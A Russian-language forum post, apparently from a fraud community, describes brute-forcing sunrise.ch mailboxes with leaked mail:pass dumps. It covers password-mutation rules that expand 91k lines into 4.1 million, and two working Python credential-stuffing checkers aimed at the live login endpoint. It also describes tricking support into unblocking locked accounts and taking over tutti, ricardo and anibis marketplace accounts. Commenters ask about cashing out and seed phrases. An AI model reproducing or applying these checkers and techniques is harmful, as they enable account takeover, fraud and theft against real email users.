LIMB
Вход Регистрация

тема

IMAP-брут в 2026: вскрытие пациента

unreachable · · 6 ответов · 274 просмотров

Не удалось прогрузить медиа

Всем привет, с вами опять @unreachable_11. Я заметил, что прошлая статья из моей серии статей по бруту вам очень сильно понравилась. Я получил много позитивного отклика. Это меня замотивировало написать продолжение. Сегодня сегодня мы с вами поговорим на такие темы как
  • Почему IMAP и POP3 окончательно мертвы?
  • Как достать абсолютный максимум валида из базы формата mail:pass?
  • Как эффективно реанимировать заблокированные почтовые ящики.
Практиковаться будем на примере одного крепкого швейцарского почтовика. Разберем все подводные камни, с которыми я столкнулся в процессе, и, главное — как я их обошел. Начнём

Что такое IMAP и POP3
IMAP — это протокол для работы с почтой, при котором письма хранятся на сервере, а ты просто подключаешься к ним через интернет. Всё синхронизируется между устройствами.

POP3 — это протокол, при котором письма скачиваются на устройство (например, телефон или компьютер) и часто удаляются с сервера.

IMAP считается более современным и удобным протоколом по сравнению с POP3. При этом сам IMAP тоже далеко не новый — он используется уже много лет. С этими протоколами вы наверняка сталкивались, когда входили в почту через почтовые клиенты вроде Thunderbird. Подобные универсальные почтовые клиенты работают именно на базе этих протоколов.

Что касаемо всех универсальных mail:pass чекеров - все они работают через имап. В этом и есть их большая проблема. Сейчас более подробно поясню почему так

Почему имап уже давно мёртв
Раньше имап был включен по дефолту на каждой почте на каждом почтовом сервисе. И это было идеально для злобных хакеров. Написав простой скрипт на пайтоне, можно было получить универсальный брутер под все почтовые сервисы, какой не теряет валид строки и работает быстро. Однако году так в 2019 все начало потихоньку меняться. Со временем все почтовые сервисы перестали держать на всех почтовых ящиках имап включенным по дефолту. Теперь эту опцию надо самому включать в настройках, если хочеться взаимодействовать с почтовым ящиком через этот протокол

Но эта “скрытая” проблема стала по-настоящему заметной только спустя время. Когда все начали понимать, что строки для старых почт кончаються, а валидных строк в каких недавно созданные почты чекеры попросту не видят

Но для любителей побрутить через имап это не единственное, что вставляет палки в колеса. Сейчас 80% имап серверов обзавелись довольно неплохой защитой, какую обойти не так то просто. И из-за этого доставать валид стало еще сложнее. Разберем как работает защита на примере imap.freenet.de

Для этого буду входить в одну и ту самую почту, но при каждой попытке входа менять IP. Спустя нескольких попыток, нам говорят, что вход не удался
Не удалось прогрузить медиа

Такое же поведение прослеживается при заходах в несколько почт с одного айпи. Причем имап себя ведет по разному: Иногда сервер просто не отвечает, иногда кидает ошибку “Чересчур много попыток входа”. Для того чтобы понять поведение имапа, нужно написать свой брутер с дебагом.  Давайте посмотрим, что на самом деле происходит под капотом у ваших хакусов:
Не удалось прогрузить медиа

Как мы видим, имап сервер просто нас рейт лимитнул. Проблема в том, что многие чекеры работают слишком примитивно: если войти в почту не получилось, они сразу помечают результат как BAD, не учитывая реальный ответ сервера
Вот так вы и пребываете ваш валид. Конечно, вы можете на 1к строк взять прокси пул из 1к прокси и получить максимально точный результат относительно почт, в какие можно войти через имап. Но скажите, зачем тыкать палкой в мертвую бабу? Все равно 50% валида будет проебано из за того что имап отключён на почтах

Политика паролей
Это ещё один фактор, который сильно усложняет процесс брута. Вы наверняка замечали, что в последние годы почти все сайты при регистрации начали требовать сложные пароли. минимум символов, заглавные буквы, цифры, спецсимволы и так далее. Как я заметил, активно это началось примерно года 4 назад. Сейчас такие требования есть почти на всех современных сайтах, а у почтовиков — тем более. Некоторые почтовые сервисы, чтобы получить доступ к почте вас просто заставляют насильно сменить пароль на более сложный. Как например Web.de и GMX
Не удалось прогрузить медиа

Проблема в том, что в основном во всех дампах основная часть паролей простая. Пароли, в каких 4 буквы 10 символов и 2 цифры просто не роздехешены. Поэтому все что сейчас происходит - массовая война за старые почты, на каких остались простые пароли

Как же правильно брутить?
Что-то я сильно роздраматизировал хД. Для того чтобы не упустить ни один валид, нужно брутить через веб вход на сайте. Да, сделать веб чекер довольно сложно и долго, так как зачастую точки входа защищены больше всего.
Однако через веб чекеры вы не упустите ни один валид и заработаете максимум с вашего меил:пасса, даже если база чекалась до вас школьниками в конфе ДС

Написание хороших чекеров зачастую требует немного времени и знаний. А конкретно, например, поиска забытого эндпоинта/ поиск мисконфигураций + умение обходить анти бот системы.
Реализовывать веб чекер через какие-то решалки не вариант. Это очень дорого и медленно. С большой вероятностью вы попросту пойдете в - и потратите нервы. Поэтому надо либо выбирать мало защищенный почтовик, либо импровизировать через баги. Но об этом следующая статья. Сегодня мы рассмотрим первый вариант

Сегодня покажем что у нас есть яйца швейцарцам. А конкретно  sunrise.ch
sunrise - швейцарская телеком компания, какая предоставляет такие услуги как телевидение, домашний интернет, мобильный интернет и другое. Всем ее клиентам можно создать почту с доменом @sunrise.ch
Из аккаунтов нас интересуют tutti anibis ricardo. Получить их через инактивы не получиться, так как на каждом стоит очень хорошая анти бот защита. Поэтому будем доставать их с mail:pass строк

Сперва нам нужны дампы под этот домен. Я не буду использовать какие-то свои строки, так как у меня их нету. Я продемонстрирую все на старых базах, какие лежат в паблике долгие годы

Мне удалось найти 91к строк
Не удалось прогрузить медиа

Этого нам хватит, чтобы понять стоит ли ебать этот почтовик или нет. Но если засунуть все эти строки просто так в чекер - нам не упадет ни одного валида. Чтобы был валид, нужно переделать строки

Что же это значит? Это немного заспойлерил модератор в комментариях под моей прошлой статьей
Не удалось прогрузить медиа

Люди не любят создавать уникальные, строгие пароли под каждый сайт. Они часто просто берут и добавляют/слегка изменяют что-то в своем слабом пароле, дабы не забыть. Например:
добавляют символы ! % ? _! в конце
меняют последнюю букву пароля на большую
ставят _ перед цифрой в пароле
и так далее …

У любого брутера в своем арсенале есть свои правила передела строк, какие значительно прибавляют валид. Идеи для этих правил приходят только когда есть энтузиазм или во все. И проверяются эти правила на эффективность через много миллионов строк
В моем арсенале 46 правил для передела под пароли. Я воспользуюсь ими всеми.
Не удалось прогрузить медиа

В итоге получилось не много не мало: 4.1кк строк после передела из 92к
Очень важно перемешать строки в конце передела, так как почтовые сервисы не дадут вам за минуту делать 40 попыток входа в одну и ту же почту. Это базовая защита, какая была всегда

Для реализации чекера, сперва надо получить один гуд под этот домен. Почту просто так зарегистрировать нельзя, поэтому есть только 2 выхода - купить или получить через имап. Я воспользуюсь вторым вариантом, так как где купить почты под этот домен я не нашёл
Не удалось прогрузить медиа

Как-то ели ели со своим огромным прокси пулом мне удалось прочекать 45к строк и получить1  несчастный гуд, после этого имап просто послал меня нахуй. Их сервер специально обрывает соединение, когда замечает подозрительную активность. Даже на таких не больших почтовиках есть защита.

Ну, в принципе, ожидаемо.

Написание чекера
Первое что надо сделать - найти основную страницу входа и пробовать реализовать чекер через нее. Если не получается ни в какую - импровизировать. В санрайс мне удалось найти вот такую страницу
Не удалось прогрузить медиа

Давайте введем какую-то рандом почту и пасс, и заглянем в бурп сьют. Посмотрим, что же там твориться в запросах
Не удалось прогрузить медиа

Как мы видим, пока что индикаторов какой либо защиты/анти бота не наблюдается. Так же мы видим: если бэд - в ответе есть Login failed. Теперь попробуем войти с гудом
Не удалось прогрузить медиа

Как мы видим, в ответе 302 и редиректит нас на https://mip.sunrise.ch/mip/dyn/startpage/welcome.
На базе этого мы уже можем попробовать написать базовый чекер. Вот как это делаю я на начальных этапах:

Сперва нужно написать очень простой обычный чекер, какой будет говорить только good или bad. Но очень важно проксировать это дело через бурп сьют. Так мы сможем понять, нужны ли прокси при чеке и есть ли еще какие-то другие варианты ответов от почтовика
Python:
import httpx
import argparse
import sys
from colorama import init, Fore, Style

init(autoreset=True)

def check_credentials(file_path):
    proxy = "http://127.0.0.1:8080"
    url = "https://mip.sunrise.ch/mip/dyn/login/login"
   
    try:
        with open(file_path, 'r', encoding='utf-8') as f:
            lines = f.readlines()
    except FileNotFoundError:
        print(f"{Fore.RED}Файл {file_path} не найден.")
        return

    client = httpx.Client(
        proxy=proxy,
        verify=False,
        headers={"Content-Type": "application/x-www-form-urlencoded"}
    )

    for line in lines:
        line = line.strip()
        if ":" not in line:
            continue
       
        username, password = line.split(":", 1)
        data = {
            "username": username,
            "password": password,
            "_remember": "on"
        }

        try:
            response = client.post(url, data=data, follow_redirects=False)

            if response.status_code == 302:
                print(f"{Fore.GREEN}[GOOD] {username}:{password}")
                with open("good.txt", "a") as f:
                    f.write(f"{username}:{password}\n")
           
            elif "Login failed. Please check your input" in response.text:
                print(f"{Fore.RED}[BAD] {username}")
                with open("bad.txt", "a") as f:
                    f.write(f"{username}:{password}\n")
           
            else:
                print(f"{Fore.YELLOW}[UNKNOWN] {username} (Status: {response.status_code})")

        except Exception as e:
            print(f"{Fore.MAGENTA}[ERROR] Ошибка при обработке {username}: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="For LIMB")
    parser.add_argument("-f", "--file", required=True, help="mail:pass")
    args = parser.parse_args()

    check_credentials(args.file)

Спустя часа просматривания ответов, я убедился что чекер может работать и без прокси :) Я увидел что у нас есть еще и такие варианты ответа:
Не удалось прогрузить медиа

Не удалось прогрузить медиа

Первый ответ говорит о том, что почта была заблокирована. Такие почты я буду записывать в отдельный тхт файл. blocked.txt
Второй ответ говорит о том, что мы сделали чересчур много попыток входа в почту и она была временно заблокирована. Буду записывать в ratelimit.txt

Очень важно, что почты в ratelimit.txt мы потом сможем прогнать через чекер опять спустя какое-то время и получать с них валид. Добавим все выше сказанное в наш скрипт, также добавим скорости и прогресс бар для эстетики
Python:
import asyncio
import argparse
import httpx
from tqdm import tqdm

URL = "https://mip.sunrise.ch/mip/dyn/login/login"
HEADERS = {
    "Host": "mip.sunrise.ch",
    "Content-Type": "application/x-www-form-urlencoded",
    "User-Agent": "Mozilla/5.0"
}
file_locks = {
    "good": asyncio.Lock(),
    "bad": asyncio.Lock(),
    "blocked": asyncio.Lock(),
    "ratelimit": asyncio.Lock(),
    "unknown": asyncio.Lock(),
    "error": asyncio.Lock()
}

async def log_result(status, content):
    async with file_locks[status]:
        with open(f"{status}.txt", "a", encoding="utf-8") as f:
            f.write(content + "\n")

async def process_item(client, email, password, pbar):
    data = {
        "username": email,
        "password": password,
        "_remember": "on"
    }

    try:
        r = await client.post(URL, headers=HEADERS, data=data, follow_redirects=False)
        location_header = r.headers.get("Location", "")

        if r.status_code == 302 and "mip/dyn/startpage/welcome" in location_header:
            await log_result("good", f"{email}:{password}")
            return "good"
       
        elif r.status_code == 200 and "Login failed. Please check your input" in r.text:
            await log_result("bad", f"{email}:{password}")
            return "bad"
       
        elif r.status_code == 200 and ("The account has been deleted" in r.text or "Your account has been blocked" in r.text):
            await log_result("blocked", f"{email}:{password}")
            return "blocked"
       
        elif r.status_code == 200 and "account is therefore blocked for the next ten minutes" in r.text:
            await log_result("ratelimit", f"{email}:{password}")
            return "ratelimit"
       
        else:
            await log_result("unknown", f"{email}:{password}")
            return "unknown"

    except Exception as e:
        await log_result("error", f"{email}:{password} | {type(e).__name__}: {str(e)}")
        return "error"
    finally:
        pbar.update(1)

async def worker(queue, client, pbar):
    while True:
        item = await queue.get()
        if item is None:
            queue.task_done()
            break
        email, password = item
        await process_item(client, email, password, pbar)
        queue.task_done()

async def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--input", required=True)
    parser.add_argument("--workers", type=int, default=100)
    args = parser.parse_args()

    queue = asyncio.Queue()
    with open(args.input, "r", encoding="utf8", errors="ignore") as f:
        lines = [line.strip().split(":", 1) for line in f if ":" in line]
   
    for item in lines:
        await queue.put(item)
   
    pbar = tqdm(total=len(lines))
   
    async with httpx.AsyncClient(timeout=10) as client:
        for _ in range(args.workers):
            await queue.put(None)
           
        workers = [asyncio.create_task(worker(queue, client, pbar)) for _ in range(args.workers)]
        await asyncio.gather(*workers)

    pbar.close()
    print("\nРабота завершена.")

if __name__ == "__main__":
    asyncio.run(main())
Не удалось прогрузить медиа


Ставим наши строки и идём спать!

На утро я увидел, что было прочекано 1.6кк почт. Из них вот столько валида
Не удалось прогрузить медиа

Нормальный результат, как для старых паблик дампов. Прошу заметить по символам в конце, что 95% валида упало благодаря правилам передела

Но не все так идеально. Тут случился небольшой конфуз. Помните, я днем ранее засунул все эти почты в имап чекер? Благодаря любимому имапу я просто поблочил все эти почты. Теперь при входе в них красуется вот такой ответ:
Не удалось прогрузить медиа

пу пу пу…
Много на каких почтовых сервисов (например t-online и freenet) если почта заблокирована, ею все равно можно пользоваться. Но только через имап

Тут ситуация немного другая. По имапу ни на одну из этих почт у меня войти не получилось…
Если честно, тут я немного тильтонул. Но это все еще не конец, я знал что это можно исправить.
Давайте обратимся к нашему лучшему другу - гуглу. Может не я один сталкивался с такого рода проблемой. В итоге на их форуме я нашёл вот такой ответ:
Не удалось прогрузить медиа

Какой то Даниэль советует написать в тех поддержку. Ну хотя да. У популярных стримеров через ТП пиздят аккаунты стима, а я не смогу восстановить почту? Ну не может быть :).
Накидываю что-то с помощью чата гпт им за 5 минут, и отправляю несколько тестовых писем

Не удалось прогрузить медиа

Уже на следующий день рано утром мне поступил от них ответ. Работают оперативно, за это респект!
Не удалось прогрузить медиа

Вот это молодцы. Уже на следующий день мне восстановили доступ к почтовому ящику и я смог ним нормально пользоваться
Не удалось прогрузить медиа


В итоге мне удалось найти 318 валидных почт, какие потом были зарблокированны  отправились на отработку. С них было вытащено нормальное количество аккаунтов. А именно:
45 tutti.ch
28 ricardo.ch
32 anibis.ch 

Не удалось прогрузить медиа


Заключение
Мы разобрали, как писать базовые чекеры для почтовых сервисов, как выжимать максимум валида из любых строк mail:pass, даже публичных и как справляться с блокировками почтовых ящиков.

В следующей статье разберем создание чекеров и регчекеров через поиск уязвимостей (багов). Вы узнаете, как использовать ошибки веб-приложений для автоматизации, какие возможности это открывает для работы и какой профит можно получить, перейдя от обычного перебора к поиску «дыр» в архитектуре сервисов

Всем благ и валида
👍23 😁3 😮4
Отличная статья, спасибо!
Пометил себе крутую фишку:
....
Много на каких почтовых сервисов (например t-online и freenet) если почта заблокирована, ею все равно можно пользоваться. Но только через имап
нормальное количество аккаунтов. А именно:
45 tutti.ch
28 ricardo.ch
32 anibis.ch 

А можешь рассказать поподробней про отработку, ну допустим есть у нас эти акки, что с них поиметь можно, типа вывести если там деньги остались? Так же я видел в некоторых imap чекерах есть поиск сид фраз, че реально кто то в почтах сиды оставляет?
👍5 ❤️1 🔥1
ОтветFoRtt

нормальное количество аккаунтов. А именно: 45 tutti.ch 28 ricardo.ch 32 anibis.ch А можешь рассказать поподробней про отработку, ну допустим есть у нас эти акки, что с них поиметь можно, типа вывести если там деньги…

это акки досок объявлений. их отворкивают воркеры. никаких денег на них нет
👍1
Ответunreachable

В следующей статье разберем создание чекеров и регчекеров через поиск уязвимостей (багов)

Спасибо за статью, жду следующую по созаднию чекеров
Вот это уже хорошо. Люблю брут :D Хочется поскорей от тебя статью о поиск уязвимостей
ОтветOkila

Вот это уже хорошо. Люблю брут :D Хочется поскорей от тебя статью о поиск уязвимостей

завтра будет

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.